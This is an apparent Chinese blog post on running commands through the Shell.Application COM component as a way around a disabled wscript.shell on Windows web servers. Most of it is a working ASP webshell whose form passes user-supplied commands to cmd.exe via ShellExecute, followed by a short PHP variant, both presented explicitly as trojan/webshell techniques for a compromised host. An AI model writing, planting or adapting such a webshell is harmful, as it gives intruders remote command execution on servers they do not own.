wscript.shell 和 shell.application 这两个组件都是来执行程序的,因此是最不安全的组件。目前很多asp木马执行命令都是用的 wscript.shell ,忽略了 shell.application 。
我们可以首先在一个具有运行权限的目录上传一个bat文件,里面写上我们要运行的命令。然后调用 shell.application 组件运行这个bat。回显可以在bat中用重定向符号 > 到一个文本文件,想看命令的结果去读这个文件就可以了。当然也可以直接调用cmd执行命令。
弄出一个不带回显的,用重定向自己去看吧。XP下测试成功。
<% On Error Resume Next Dim theFile, thePath, appPath, appName, appArgs appPath = Trim(Request("appPath")) appName = Trim(Request("appName")) appArgs = Trim(Request("appArgs")) If appName = "" Then appName = "cmd.exe" End If If appPath <> "" And Right(appPath, 1) <> "\" Then appPath = appPath & "\" End If If LCase(appName) = "cmd.exe" And appArgs <> "" Then If LCase(Left(appArgs, 2)) <> "/c" Then appArgs = "/c " & appArgs End If Else If LCase(appName) = "cmd.exe" And appArgs = "" Then appArgs = "/c " End If End If Set objShellApp = CreateObject("Shell.Application") objShellApp.ShellExecute appName, appArgs, appPath, "", 0 %> <form method=post onSubmit='this.Submit.disabled=true'> 所在路径: <input name=appPath type=text id=appPath value=""" & HtmlEncode(appPath) & """ size=62><br/> 程序文件: <input name=appName type=text id=appName value=""" & HtmlEncode(appName) & """ size=62><br/> 命令参数: <input name=appArgs type=text id=appArgs value=""" & HtmlEncode(appArgs) & """ size=62> <input type=submit name=Submit value=' 运行 '><br/> <hr/>注: 只有命令行程序在CMD.EXE运行环境下才可以进行临时文件回显(利用"">""符号),其它程序只能执行不能回显.<br/> 程序文件默认为cmd.exe,请自定义路径,参数处直接写命令.<hr/> </form>
今天试了一下,用open也可以。php代码如下,我好像还没有在php的webshell中看到相关方法
<?php $wsh = new COM('Shell.Application') or die("Shell.Application"); $exec = $wsh->open("c:\\windows\\system32\\notepad.exe"); //没有回显,多了个notepad进程,可以写一个批处理来运行dos命令。open换用ShellExecute 也可。 ?>
转载请注明:jinglingshu的博客 » wscript.shell组件被禁用时 可以用Shell.Application执行命令